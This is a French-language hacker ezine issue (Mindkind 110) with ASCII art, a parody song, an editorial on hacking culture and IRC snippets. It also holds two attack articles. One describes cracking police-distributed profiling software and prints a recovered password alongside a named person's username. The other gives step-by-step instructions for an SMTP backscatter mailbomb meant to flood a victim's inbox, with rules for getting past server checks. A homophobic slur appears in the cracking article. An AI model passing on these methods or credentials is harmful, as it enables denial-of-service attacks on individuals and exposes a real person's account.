     .- - -, .- - -. .- - ------ - -.        __ __ __       __  __
     |     | |     | |              |       |        |     |  |/  /  
     |     | |     ' |              |       |        |     |     / 
     |     | |     | |              |       |        |  _  |     \   _
     |     . '     : |              |       |__|__|__| |_| |__|___\ |_|
     '     | :     | .    ____ _    |     
     |     ' |     | |   '      |   |                 
     |     | .     | :   |___ __.   |     mindkind 110 ; bigger than ever !
     |     : |     | |              ;    
     |     | |     | |              '   ------- - - - -------------- - - ----
     |     | |     | .              |          
     |     | .     | |              .         
     |    _| |     : ,        _     |    
     '---| \ '- ---' '-- -- -/ |----'    
      \    /                 \    /    
       |  |     ."'\"/"".     |  |        "Well you're in your little room 
       |  |     |  O'o  |     |  |             
       |  .     |   u   |     '  |      and you're working on something good
       &   '    '   ~   '    '   ,       
        &   \__ _\     /__ _/   &             but if it's really good 
         \        '---'        /                
          \    ==       ==    /            you're gonna need a bigger room     
           '.    o     o    .'                      
            |               |            and when you're in the bigger room    
            .     __|_ _    .                
             \    __:__    /               you might not know what to do    
              \     |     /                     
               \         /                   you might have to think of  
                \_______/
                |__|_|__|                       how you got started
                 |     |              
                /  ___  \                   sitting in your little room" 
               /   / \   \  
              /   /   \   \              
             :    )   (    ;             
             '   /     \   '                   - The White Stripes
             /__/       \__\                       Little room
           __\  \       /  /__           
          (______)     (______)          



     C'est avec une modestie des plus insignifiantes que nous dvoilons ce 6eme  
ezine  Mindkind. Nous tenons a vous avertir d'est  maintenant  que  si  par  le 
passez certain d'entre vous nous on trouver prtentieux ou  on trouvez qu'on ne 
se mlais pas de nos affaire, et  bien  sachez  qu'on  a  bien  l'intention  de 
continuer a vous donnez raison. Le temps des  ftes  arrive  en sympatico haute 
vitesse et nous avons dcider de vous offrire  non  pas seulement un magnifique 
ezine en cadeau, mais aussi quelque  software   de  moraliser plus que douteuse  
et  bien  sur  des  gros  becs mouiller tout aussi  horrifiant qu'un ezine  dla  
concurrence.  C'est sans grande peine  que  nous  les  laissons  derrire    en
compagnie des citrouilles pourris oubliez a l'halloween. 


     Devinez qui est en avance cette anne ? ce ne sont malheureusement pas les 
oeufs de paques, mais la nouvelle gnration de newbie  tout  frachement chier 
qui vient grossir les rang de tout les groupes  ridicules  avec  des  noms plus 
debilisant les uns que les autres, et je cite le rectum crew, le crosseur crew, 
aka crew, anti-crew et pourquoi pas le banana crew ?

                                      ,-,--,  
                                     / /  /
                                    / /  /
                                   |_|__|
                                   \ \   \
                                  \   \   \
,----,----,-,,-,----,-,,-,----,   \   \    \
|    | || | \| | || | \| | || |  |   |      \  
|  >=|    |    |    |    |    |  ;   ;       ;  
|    | /\ | |\ | /\ | |\ | /\ | >   >       >
'----'-''-'-''-'-''-'-''-'-''-'/   /       /
                              /   /       /
                             /   /       /
                            /   /       /                                                
                          /   /       /,-----,,------,   ,------,,---,    ,---,
                         /   /      / /     / |  __   \  |      ||   |    |   |
                        /   /     /  /     /  | |  \   \ |  ,---'|   |    |   |
                       /   /    /   /     /   | |__/   / |  |    |   |    |   |
                       /  /   /    /     /    |     __/  |  '---,|   | /\ |   |
                       / /  /      \     \    |     \    |      ||   \/  \/   |
                       |/_-         \     \   |      \   |  ,---'|            |
                                     \     \  |   |\  \  |  |    |    _  _    |
                                      \     \ |   | \  \ |  '---,|   / \/ \   |
                                       '-----''---'  '--''------''---'    '---'



Ping ping ping ping ping ping ping 
Banana crew 
Ping ping ping ping ping ping ping 
Banana crew 
 
I've got this feeling 
so appealing 
for us to get together and ping - PING! 
 
Ping ping ping ping ping ping ping 
Banana crew 
Ping pong ping pong ping pong ping 
Banana crew
 
It grows in bunches 
I've got my henchman
Its the best 
beats the rest 
follower modular 
interuberhaxor
 
Ping ping ping ping ping ping ping 
Banana crew 
Ping pong ping pong ping pong ping 
Ponana crew 
 
Its no a llamah
It aint a newby 
My follower 
Bananular crew
 
Don't need head quarters 
don't need lames 
to call a bot of mine 
dont need real life or tv 
to have a real good time 
I'll flood for pizza 
I'll flood my cat 
I'll flood the whitehouse, have a cheat 
I'll place bot's around the world 
Operator get being ping ping ping ping 
 
 
 
Ping ping ping ping ping ping ping 
Banana crew
fling flang fling flang fling flang fling 
Banana crew 
It's a real lame mama and papa crew
a brother and sister and a dogacrew 
a grandpa crew and a grandma crew too - oh yeah 
my follower bananular crew
 
Banana crew 
ping... ping... ping... 
Its a crew with appeal (a peel) 
 
Banana crew
ping... ping... ping... 
Now you can have your crew and screw it too 
Banana crew 
ping... ping... ping... 
This song drives me .... bananas 
Banana crew
ping... ping... ping... 
 
Bo ba do ba do do newb


      this song drive's me, yeah fucking right. Et si vous voulez  savoir  sque
vous  auriez  l'air  a  essayer  de chanter c'est parole par dessus l'excellent 
original de raffi (bananaphone), bien il vous sera  possible  de  le  faire  en 
coutant le mp3 (bananafauxcrew.mp3) contenu dans la version FULL de ce e-zine. 
Aprs a  vous allez tre sur de pas vouloir essayer ;].



     


                                            __                                     
                                    ,,--`'`'``'`'`--,.                             
                             ,-;`'``'           .    `'`;-.                       
                      ,,-;'`'              .               ``';-.,                
                  _.;`              ,          ,     .            `;._            
               ,-'              ;       ,                     ,       `-,
             ,l     ,      .                ,    ,      ,                l,
           .`                    .      ,            .       .     .     , '.               
          l`                .        ;   ,    ,          .                   `l
        ,`            ;  ,       ,                 ,    ,      ;   .   ,  ,    ',     
       l      .    ,                  .   .                .                 .  l
      ,'                     ,                   .       ,      .       .       `,
     .l    ,             ,         ,          .                      .        ,  l.
     |          ,                    |                       ,  .   .     ,       |
     |  ,             ,     .        |     ,       ,   ,                      ,   |               
     |                             --#--                .         ,               |               
     |     .    ,    ,             . |             ,                    .         |               
     |                     .         |     ,                       .        ,     |               
     |                                                  .    ,                    |               
     | .            ,          ,..     ,         ,                                |
     |         .             .ip`           ___  o            .       .   |       | 
     |     ,                 :Gn            SantAO;.,_n__n,              -+-      | 
     |            |   ,      `lb.,     ,    ClauS/`  WW WW                |    ;  |
     |           -+-           ``           ~'''~          .    +    .            |
     |        .   |        .                                           ,          |
     |                           ,                  .                             |               
     |                               .       .            ,                       |               
     |   ,                   ,                                  .                 |               
     |                  ,                                                 ,       |
     |     .    ,       |\        .             .      +                          |
     |               ,  | \       ,      .                   ,______,           | |          
     |                  |_/|       .                  |      |      |          /|,|          
     |  ,____           |_/|       |                 -+-     | _/_/ |         / | |          
     |  |    \          |_/|       |_____             |      | _/_/ |        /  | |                  
     |  |_/_/ \         |_/|     ,/      \,     .            | _/_/ | ,     /_/ | |     
     |  |_/_/_/\  ,     |_/|     | _/_/_/ |                  | _/_/ |      / _/ | |
     |  |_/_/_/ \       |_/|     | _/_/_/ |                  | _/_/ |     /_/_/ \ |           
     |  |_/_/_/_/\      |_/|     | _/_/_/ |              .   | _/_/ |    / _/_/ \|| 
     |  |_/_/_/_/ \     |_/|     | _/_/_/ |                  | _/_/ |   /_/_/_/ \||
     |  |_/_/_/_/ /    / _/|     | _/_/_/_/\__               | _/_/ |  | _/_/_/ \||              
     |  |_/_/_/_//    /_/_/|     | _/_/_/_/_/ \   __; ;__   /_/_/_/ |  | _/_/_/ \||    
     |_/         \___/      \___/              \_|oo|_|##|_/        |__|        \||                 
     |                                                                            |             
     |____________________________________________________________________________| 
     |-   (.__//__//__.)(.__//__//__L)     -         -          -         -       | 
     |______OO______OO____OO______OO______________________________________________|
    ,|                                                                            |,    
   ,|      _________________________________________________________________      |,   
  ,|      /                                                                  \      |,  
,/       /                                                                    \      \,             
|        \          Merry           Fucking            Chrismas               /       |  
|         \                                                                  /        |
|          \________________________________________________________________/         |        
|_____________________________________________________________________________________|


                                           _/
               __________________________________________ 
        ______/    _/_/_/  _/_/_/  _/_/  _/  _/_/        \_________
   ____/            _/    _/  _/  _/_/  _/  _/                 ____\
  /                _/    _/_/_/  _/    _/  _/_/       ________/       
 /     ____________________________________ _____ ___/
| J   /                                    \\    \\                                                          
| o  |  .---+-=[ Topic of The ... Zine ]=---\\----\\----------+-------------------------=[N/A]=----.
| y &|  |  i|                                                  \___________________  ___  __   _   |           
| e  |  |  I|                                                                      \               |
| u B|  |  I|                                                                       '-=[ Mk-110 ]=-|
| x o|==| //                                                                                       |  |\   
|   n|  | L\:-=[01] -~{ Le patrimoine lemurien            }~--~{ By:  ( LastCall_ ) }~-]=--[~~]----|  | \
| N n|  |      [02] -~{ Cracking some Nasty software      }~--~{ By:  ( Mindkind  ) }~-]    \/     |  |H |
| o e|         [03] -~{ blind fire                        }~--~{ By:  ( __2       ) }~-]           |  |a |
| e  |  |      [04] -~{ Advanced Script Injection         }~--~{ By:  ( Wyzeman   ) }~-]              |p |
 \l A|  |      [05] -~{ Doomsday device part 1            }~--~{ By:  ( Qwzykx    ) }~-] Don't put    |p |
  | n|  |      [06] -~{ the real slim portknocker         }~--~{ By:  ( Phawnky   ) }~-] this Zine |  |y e\
  | n|         [07] -~{ Hardware Overclocking             }~--~{ By:  ( Spider    ) }~-] too close |  |  n |
  | e|==|      [08] -~{ Note sur Windows XP SP2           }~--~{ By:  ( Lastcall_ ) }~-] of your      |H   | 
  | e|         [09] -~{ SSh Stealth connection            }~--~{ By:  ( Phawnky   ) }~-] hears...  |==|a r |
  |  |  |      [10] -~{ Cause S of S-E  means Social      }~--~{ By:  ( Wyzeman   ) }~-]           |  |l e |  
  \  |  |      [11] -~{ RSS pas XSS ciboire               }~--~{ By:  ( Nothing94 ) }~-]           |  |l t | 
   | |  |      [12] -~{ A tales of interest               }~--~{ By:  ( __2       ) }~-]           |  |o a |
   | |         [13] -~{ When led leads to lockpicking     }~--~{ By:  ( Qwzykx    ) }~-]           |  |w r | 
   | |  |-[~]-=[14] -~{ Nbtel, rise                       }~--~{ By:  ( c4ndu     ) }~-]              |e d |
   \ |  |  :                                                                        }~-]           |  |e . |
    \|     :                                                                        }~-]=-----=:\T |  |n . |
        |  :                                                                                    // |  |  . |
        |  :                                                                                   |I     |    |
           :                                                                                   |i   ==|    | 
        '_______________________________________.I[ Event ]I.__________________________________+___'  |    |
                                                                      ______//___________//__________/    /
                                                              _______/                                   / 
                                                             /                                     _____/ 
                                                            /_____________________________________/ 


avant de lire ce manuscrit quelque rgle de scurit sont a prescrire

1) Mindkind vous rappelle que toute dcouverte de hiroglyphe ou message secret
dcouvert a travers les  pages  prcdente  ou  subsquente  est  un  phnomne 
pouvant  entre  d'cris  sous le  nom  d'hallucination  probablement  du  a une 
consommation irresponsable de saucisse hygrade. mais essayer pas on  la  vue le 
ptit bonhomme dans le coin en bas nous autre aussi et non  le  bonhomme fort du
ascii d'entre du e-zine n'a pas de chancre moux sous les aisselles. 

2) Mindkind tien galement a vous aviser que quiconque sera pris   en  flagrant 
delis de rip sera svrement gronder et prive de sorti durant 2 semaine.

3) si  jamais  vous  aviez  dans  la  tte  de  faire  un truc illgal, et bien
rappelez vous que cette ide viens de vous, pour le restes on veut rien savoir.

4) nous ne somme pas responsable des cas dhemoragies  occasionner  a  ceux  qui
dsirerons se torcher avec la version papier de se ezine.

5) Attention surface glissante.



          ___)                                                       (__
         (_                                                            _) 
      _____)           (     )     )  ( _)_(_)     (_)_(_)_(_(        (______  
     (_____             )   ( )   (    )                 )              _____) 
          _)            (   ) (   )    ( __)             (             (_______ 
         (_              ) (   ) (      )                 )                  __)
        ___)             ( )   ( )      (                 (                 (____
 ______(                  )     )        )_(_)_(           )              _______)
(________                                                                 )____________
        (__           ______                                             ______________)    
          _)         (     _(    )_(_)_(    ( _)_)_(   )_(_)_)_(_)      (_______  
         (_           )   )      (    __)    )      )       (                ___)
      _____)         (__ (__      )   (      (      (        )             __)      
     (_____            (    )     (_(__ )      )      )       (         ___)           
          _)         ___)  (       )          (      (         )       (________                                
         (___       )_______)      (            )_(_)_(        (         _______)                        
             )                                                          (                                 
                                                                                 



et puis nous voudrions vous donne de petite suggestion sur comment bien  danser 
en public. 

1) viter de danser avec une bire
2) viter de danser avec vous mme
3) viter de danser



.---+-=[  Le patriomoine Lemurien            ]=------+---------------------------=[01]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Lastcall_ ]=-|
| //                                                                                       |
| L\:-=[Ak : c'tais benbenbenben l'fun                 ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         


Enfin un vritable patrimoine 

patrimoine n. m.
1. Biens et valeurs dtenus,  la suite d'hritages,
   par une personne ou par un peuple.
2. Proprit commune  un groupe,  une collectivit, transmise par les 
anctres. La science est le patrimoine de l'humanit.

Curieusement,  des  valeurs  dans  un  "magasine", on appel a un ditorial. Vu 
qu'on est  Mindkind, on  va appeler  a un  patrimoine (faut  croire  qu'on  se
croit) car il s'agit du rsultat de  la sommes de nos penses, le  tout  dfini
par Mindkind "la collectivit" (aka le collective, rsistance is futile, heh)

Donc, depuis  le dbut  des ezines,  on vous  disait carrment  qu'on  tait en
train  d'crire   l'histoire  (avec   des  faits).   L'histoire  de   Mindkind.
Maintenant,  on  lche  les faits,  et on  se garoche  dans les  opinions.  Les
opinions de Mindkind.

Sans plus  tards,  voici les opinions.  Ce sont des  choses qui choques,   des
choses que  moi mme LastCall_ je pogne les nerfs quand qqn d'en Mindkind  m'en
parle avec  un  air d'en savoir  plus que moi,  mais pourtant, elles    doivent
tre  dites,  car c'est a la fucking libert d'expression.

Vous tes  encourager  a nous ostiner la dessus, mais  seulement si  vous  avez
des arguments  intelligents  et que  vous vous  entendez  sur  une   partie  du
sujet  (car   aprs  tout,   ceux  qui  sont  totalement  contre sont  pas dans
notre style de penses..  donc pkoi  s'ajuster a  eux? au pire starter  vous un
ezine).


Le hacking selon Mindkind

La plupart du monde qui blast  Mindkind, nous pose comme lapin que notre  ezine
est pas majoritairement du "hack".
C'est quoi du hack?
./l33tr00t0r 24.5.5.5
#root~] echo iamleethax0r
a?
Nah,  pour nous  le  hack,  c't'un  moyen  de  contourner  quelque chose.   Une
mthode  alternative,  pour  un  rsultat  alternatif. Une  ide  gniale, pour
arriver  une solution jubilante.

Donc, un  hacker, c'est une personne qui est capable de faire toute a. Et pour
tre capable  de faire tout a, a prends un bunch ass grand de  connaissance.
Par  exemple,  tu  hack   une  box  Unix.  Facile  se  servir  de ./l33tr00t0r,
maintenant une fois "in"  tu  fais quoi? Install  une backdoor et vlan?  Sachez
que la limite entre le script  kiddies  et le hacker est la, celui qui  connat
le systme, ou qui  fini par  le connatre  est un hacker. C'est  donc la qu'on
trace la  ligne entre  le  newbie  pis le  script kiddies.  Un newbie va tacher
d'apprendre,  un script  kiddies  va  rouler un  autre script  pour  "owner  la
machine".

Fak c'est la qu'on se fait poser  la question, tes vous des VRAI  HACKERS!?!?!
La rponse c'est a dpend. On dirait  que tout le monde utilise ce mot la pour
expliquer ce que a leur tente,  j'fais  la mme chose avec le mot "col  bleu".
Certains on une  dfinition du  hacking  comme tant quelque  chose d'exclusif,
mais Mindkind, par contre, a la  tendance de croire que le hacking devrait tre
un peu comme la fine cuisine  lmurienne, de quoi qu'on peut enjoy avec un  peu
temps a mettre.  Fak pour les  extrmistes  compulsif (hey  c moi a?),  non on
fait pas du  hacking, on fait  de l'informatique..  mais  pour ceux qui  savent
temprer  leur  vie  on  peut  srement  tre  une   bonne  source  de  hacking
quotidienne...

Donc, pour bien vous remplir la pense, voici une  liste d'picerie  d'articles.
Y'a une tonne d'exemple  qui nous vient en  tte,  mais nous croyons  que si on
prends des articles "Mindkind" un   un, on  arriverait a de quoi...  les voici
par types. On vous rappelle  que les articles  sont dispo  individuellement sur
le site web www.mindkind.org dans la section database.


- OS
Comme dit avant,  connatre les OS  c'est bon.  Que  ce soit le  fonctionnement
interne qui nous  permet de songer a du code (hidinglkm.txt, qnx.txt,  mbr.txt)
ou  encore les  moyens  de  faire de  l'administration systme  (slackboot.txt,
armoringslackware01.txt, armoringslackware02.txt,  iptables.txt) si vous voulez
tre un  hacker "complet"  il  vous  faut ces  skills. (root4rent.txt, ipc.txt,
tsweb.txt, tips_getboxinfo.txt). 

- Coding
A moins que vous  tes capable  de manipuler  le binaire " la  main" (alors la
chapeau), coder,  mme si  c  le  plus futile  que possible  (scripting, script
shells), s'avre  une skill  importante.  Mme  si vous  commencer par coder de
quoi de  simple (perl13.txt,  introasm.txt,  tclsocket.txt,  winrawsocket.txt)
vous   finirez   par   faire   de   quoi   de   pratique   (tips_xdccleach.txt,
php_htfleecher.txt) et ultimement vos codes  vont vous aider  a parvenir   vos
fins (php_ezportknocking.txt). Et si vos fins sont encore  plus grande, et bien
vos   mthodes   de  coding   devront  s'y   ajuster  (php5.txt,   perl45.txt,
makefile.txt).

- Cracking (tout les sens du termes)
Sujet en lui-mme peu touch par Mindkind, car tlm sait se servir de john,   le
cracking de software (softice.txt) est pratique. Mme que quand on y pense,  se
savoir  se servir  de GDB,  c hacker  comme un  lite  (fmt.txt,   buffnop.txt,
FormatStringAttack.txt).

- SE
Si jamais un jour  vous voulez aller encore  plus loin  dans vos  hack, a vous
prend des skills  de crosses sociales.  En faite, ya  pas  que le  "information
gatering"     (tips_freeisp.txt,      tips_hackfuturshop.txt,      pwesson.txt,
infiltration01et2.txt) d'important.  Ya aussi le quoi faire avec les choses une
fois que vous les avez (moneymaker.txt).

- Philo
Et c'est la qu'arrive la philo. Avec  quels skills vous allez vous estiner avec
le monde? (lepouvoirdescons.txt,  readordie.txt, guerreetphilo.txt, etc)  Quels
modes   de   penses  vont   dfinir    vos  motivations?   (introspection.txt,
sadness.txt, etc) Contre quoi allez  vous vous rebellez?  (deshumanisation.txt,
fuckuimlouis.txt,  tournepasrond.txt,    sasuxx.txt,  etc).   Un  hacker   sans
philosophie, c'est un mindless drone qui   connat tout ses taches mais qui  se
fixe jamais de buts.

- Phreaking (Urban Exploring ~ wardriving)
On vote pour une  convergence du phreaking  (vmb.txt),  en toute cki peut  tre
des     hacks     des    explorations     (wifi.txt),     des     modifications
physiques(wanalockpicking.txt, howtolockpicking.txt), lectronique  (light.txt,
radioscrap.txt).  C'est  pourtant rendu  une  chose rare,  le   phreaking, mais
pourtant  comment  on  ose s'appeler  un  hacker  si on  paye   pour  faire des
confrences  5 ?

- Contre-Culture
En lien fort  avec la philo,  la culture est  ce qui nous  tente  de faire.  Ce
qu'on a envie de dire.  Toute l'ensemble des articles  mentionns  avant (ainsi
que ceux non mentionns) font partie d'une culture, la  notre. Sans cette  dite
culture, qui est diffrente  des autres, on serait  juste  une gang de  suiveux
qui voudrait "faire comme phrack paske phrack c le  best". Et bien si vous,  a
vous tente de vous faire menez par  une mono-culture  qui est bas aux USA,  go
for it, nous on  va continuer de faire  voluer la  notre, qui  est influer par
les autres, mais qui n'en est pas une copie ou un "c a ou c rien".


Conclusion

Eh voila,  changement  drastique  dans  la  formule.  Pourtant   a fait   dj
quelque  annes qu'on  pense de  mme..  a  fait dja  quelque anne que  dans
le groupe, ont a  dcrit nos partages, mais  on  dirait qu'on a jamais vraiment
donner a  l'extrieur, well,  maintenant vous  l'avez.  So  enjoyer le reste du
eZine, et augmenter vos skills tel un undead lvl24  WoW.   
   
   
     
 
 
 
                  !!!! Mindkind SuperStars !!!!

                          

                          /\     
                      ___/  \___ 
                      \  |  |  / 
                       \\____//  
                       /  ..  \  
                      /,-`  '-.\ 
                      `        ` 
               __   ,,           
            _'`M \-`_/           
         ,/` ___K   /            
        .-`"` 0 0`_`             
        |@`"     . `)            
        `-__ """"-`              
    /   ,` ``'`\`                
   /  ,`  /_/___\                
   / (      `, O:    .           
  /   `.----`:   `-`` l          
        | (  / `-./  /           
        | (,`     `-/            
      /  \.`                     
     /  /  /    /                
    /     /    /                 
      /                           ..                                 
     /  /                       ,`  `.       .`,                     
____________                   / \  / \     /o \                      
            `,                / |\\//| \   |. `//'`^.                 
_____________|               /  |_;;_|  \  |/||/ `/  :.    .   /\    .
           |`                \   ____   /    || \/ \/ |    \``/  \`./|
           |                  \ /\/\/\ /      \ /\ /\ |   _/   ( )   :
           |                   \\_/\_//        |__`__/   (' \_______/ 
___________|_____________________V__V_________//____\\____//_______/:____



               

.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un endroit respectueux des cultures     \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I| (au fait quelqu'un sait c qui ? :])                                   '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<{MADBoY}> Ce sont pas des vrai Hacekrs                                ]=--[~~]----|
|      [<{MADBoY}> ce sont des lamers                                          ]    \/     | 
       [<{MADBoY}> ce sont des cons                                            ]           | 
|      [<{MADBoY}> jammais les franais etais des hackers                      ] Light can  
|      [<{MADBoY}> et aucun ne peux me repondre                                ] be harmfull              
|      [<{MADBoY}> sinon je l enculer devant vous                              ] beware of |  
       [<{MADBoY}> y a quelqu un ki peut me repondre ici ...???                ] the       | 
       [<{MADBoY}> Ils me connaissent bien                                     ] photonic  |  
|      [<{MADBoY}> j ai leur donner une leons l autres fois au hacks          ] killer...              
|-[~]-=[<{MADBoY}> Pour connaitre ke je suis Un Marocain ki peut les Niker     ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 
                                  



.---+-=[ Cracking some Nasty software        ]=------+---------------------------=[02]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Mindkind  ]=-|
| //                                                                                       |
| L\:-=[Ak : C'est pas moi pi vous mavez pas vus        ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               


<Warning - Attention>
  Cet article n'est pas une tentative de lancer un dfi aux services  secret du 
pays ni une faon de se faire accepter dans l'quipe des rouge des terroristes. 
Nous n'utilisons  pas  le  logiciel  C216E  et  jamais  il  nous  est venu dans 
l'ide de le distribuer. Les informations divulgues ici ont t transmises sur 
internet par le CPIC lui-mme et nous considrons qu'il est le seul responsable 
si des donnes secrtes sont dvoiles dans cet article.  De  plus, l'quipe de 
mindkind considre irresponsable de la part de nos forces policire  et  de  la 
part d'interpole de laisser des informations telles que retrouves dans la base 
de  donnes  du  logiciel  en  circulation  sur  internet  avec  une  si faible 
protection.
</Warning - Attention>
 
  L'quipe  de  mindkind  couche  dans  un  lit  double  s'merveillant  de la 
technicit du  plafond et se retournait sur son sort en se demandant ce qu'elle 
pouvait  faire  pour  amliorer  le  fear factor  de  son e-zine quand elle ft 
soudainement frappe par un clair de gni. Reverser des tools de good guy.

  Aprs  quelques inutiles et discutables recherches google notre attention ft 
porte sur le site du CPIC (Canadian Police Information Center) et son logiciel 
de   profilage    de   criminel  "protg"  par  mot  de  passe...  offert   en 
tlchargement?! Heureusement, il est servi avec  une  mise  en  garde   disant 
exactement :  Please  note  that  this  software is strictly for use by Private 
Fingerprinting Agencies and does not contain  any  information for searching or 
processing   criminal records.. a tombe bien, on veut seulement le "dplomber" 
(*Cough*).

  Une fois le logiciel tlcharg on peut vite  constater  qu'il  demande comme 
prvu  un  mot  de passe. Le premier rflexe serait de dcoller OllyDbg pour le 
cracker mais  si  vous avez un bon sens de l'observation vous avez pu remarquer 
que  sur  le  site  ils  offrent  les composants MDAC en tlchargement. a pue 
Access  plein nez.  Comme  de fait  si  vous  regardez  attentivement  dans le 
dossier du logiciel pendant qu'il s'excute vous  pourrez remarquer la prsence 
d'un fichier NPSADT.LDB (Access lock db file). En fesant  une  petite recherche 
dans  ce  dossier  vous  pourrez aussi remarquer que le fichier NPSADT.DLL  est 
existant. 
	
  Premier  rflexe :  l'ouvrir  avec  Access. Comme nous l'avions estim accs 
reconnat sans problme le fichier comme  une  basse de donnes et nous demande
un  mot  de  passe.  Heureusement,  les  mot de passes Access se crackent assez
rapidement avec l'utilitaire ACPR (password : m4a1p228 trouv en ~1 segondes). 

  On  entre  alors  dans  la base  de donnes et on se promener dans les tables 
vides. Comme vous pourrez le remarquer, certaines tables comme OriginDeptAgency 
contiennent  plus  d'informations  sur  les  services  policiers  que vous n'en 
connaissiez  dj  et  la  table  tblUsers contient des username et des mots de 
passe tels que slauzier/m4a1p228. Comme  c'tais  le  mme  mot de passe que la 
base de  donnes, c'est le   mot  de  passe  que  nous avons essayer mais, ho!, 
mauvaise surprise, le logiciel nous  retournes  une  erreur  disant  d'utiliser  
les informations fournies au pralable.

  Nous  avons  donc  dmarrer  un  debugger  quelconque  (OllyDbg)   et   suivi 
l'excution jusqu' ce que nous arrivions sur une requte  SQL q ui demande des
informations  la table tblConfig. Cette table est originellement  vide, l'ide
c'est  de  crer  une ligne de configuration pour l'utilisateur souhait.  Nous 
avons donc crer une ligne avec SEBASTIEN LAUZIER comme PDname (hahaha pd!)  et 
paff, l'application dmarre.

	Une  fois  l'application dmarre, vous n'aurez accs a rien parce  que
votre  ligne  de  configuration est invalide dans la base de donnes. Ce que je 
vous  suggre  c'est de bruteforcer les quelques 10 valeurs jusqu' ce que vous
trouviez une bonne combinaison, c'est assez facile, on vous laisse le faire.


                                                              The Mindkind Team
                                   
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un endroit accueillant et stimulant     \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<fraggle84> toujours peu de conversation ici.....                      ]=--[~~]----|
|      [<fraggle84> les hackers sont des grands timides...ou alors ils ont peu ]    \/     | 
       [de choses a dire.....                                                  ]           | 
|      [<Wyzeman> ya un proverbe qui dit que ceux qui parles le plus sont ceux ] There is   
|      [qui en savent le moin...                                               ] do, and do              
|      [<Ninja|UFM> comprend tjrs pas pk le monde pense qu'il ya des           ] not, there|  
       [discussions de hack ici!                                               ] is no try | 
       [<Wyzeman> Ninja|UFM ben voyons, attend jva paster une liste de cc      ]           |  
|      [<Wyzeman> a pi jva aussi laisser ma mac address pi mon # de telephone  ]                
|-[~]-=[<Wyzeman> ya tu quelquun qui veut mon nas ?                            ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 


.---+-=[ SMTP Weapon Of Mass Destruction    ]=------+---------------------------=[03]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[__2       ]=-|
| //                                                                                       |
| L\:-=[Ak : The Blindfire attack                       ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               

      Je vais vous parlez aujourd'hui d'un problme mconnu du  protocole  SMTP
permettant  de  gnrer  du  trafic   la pelle. L'utilisation normale de cette 
faille mne  invitablement vers  du  flood  de  "mail box"  et  des  DoS.   Je  
n'incite  aucunement  ce genre d'activit mais j'ai tout de mme pens que cela 
pourrait  en intresser plus d'un ;)

Lors de l'envoie normal d'un courriel, le client se connecte  au  serveur SMTP,
s'identifie,  dfinis  une  source,  dfinis   une  cible  ou  plusieurs copies 
carbones. Le tout  suivi  du  contenu  du  courriel et de  la  dconnection. Au 
niveau protocole cela ressemble  ceci :

-------------------------Connexion tablis au serveur SMTP-----------------------

SERVER << 220 router.eden ESMTP Sendmail 8.12.11/8.12.11; Fri, 5 Nov 2004 00:47:36 -0500
CLIENT >> HELO test@source.com
SERVER << 250 router.eden
CLIENT >> MAIL FROM: <test@destination.com>
SERVER << 250 Sender <test@destination.com> Ok
CLIENT >> RCPT TO: <test@destination.com>
SERVER << 250 Recipient <test@destination.com> Ok
CLIENT >> DATA
SERVER << 354 Ok Send data ending with <CRLF>.<CRLF>
CLIENT >> Subject: this is a test
CLIENT >> 
CLIENT >> Body go here
CLIENT >>
CLIENT >> .
CLIENT >>
CLIENT >>
SERVER << 250 Message received: 20041105054612.RKSC25820.router.edent@[1.2.3.4]
QUIT
221 router.eden ESMTP server closing connection

-------------------------Dconnection--------------------------------------------


La technique dont je vais vous parlez exploite ce mcanisme   en  modifiant  la
source et les cibles d'une  faon  spcifique.  Le concept  est  en  fait  fort
simple, il suffit de placer l'adresse courriel victime en tant que source et de
glisser  plusieurs  destinations  bidons  durant  l'expdition  du courriel. Le  
serveur  SMTP  se  retrouvera  dans  l'impossibilit d'expdier le courriel aux  
destinations choisis et mettra un message d'erreur vers la source (la  victime  
dans le cas suivant). Pour chaque  nouvelle  destination, la  victime   recevra  
un  message  supplmentaire.  Un  serveur SMTP fournis  par  votre  ISP  permet  
gnralement  d'allouer  ~100 destinations par courriel.  Cela peut varier d'un 
ISP  l'autre et  j'ai  eu  la  chance  de  faire  des exprimentations sur des 
serveur SMTP   permettant jusqu' 500 destinations.

Donc,  thoriquement, si j'envoie  10   courriels  de  ce  type, je gnre 1000 
courriels qui iront directement dans la "mail box" de notre victime. L'avantage
est que les courriels sont transmis par le serveur SMTP et   non  pas par vous.  
Cela ne se termine pas l, bien entendu. Dans les courriels qui sont forg nous 
pouvons aussi glisser de la donne bidon, ce qui  augmentera   la   grosseur du
courriel. Si nous reprenons l'exemple des 10 courriels qui en  gnre  1000, on 
peut dduire que 10 courriels de 200k (2megs total)  gnre 200 megs de "JUNK".

Maintenant  que  j'ai  votre  attention,  je  vais parler des quelques rgles   
suivre  pour mener  bien l'opration.

1)  Utiliser  des   nom  de  domaines  diffrents  car  si  vous  utilisez  100 
    destinations provenant du mme nom de domaine, le serveur coupera  court et 
    ne vous envoiera qu'un seul courriel contenant tout les destinations rats.
	
2)  Dans certains cas, le serveur SMTP fait  une  vrification  prliminaire du 
    nom de domaine, alors vous allez devoir  vous  faire  une liste de  nom  de 
    domaine non fictif.
        
3)  Certains serveurs de courriel n'acceptent pas les courriels trop lourds, il 
    faut en tenir compte.
	
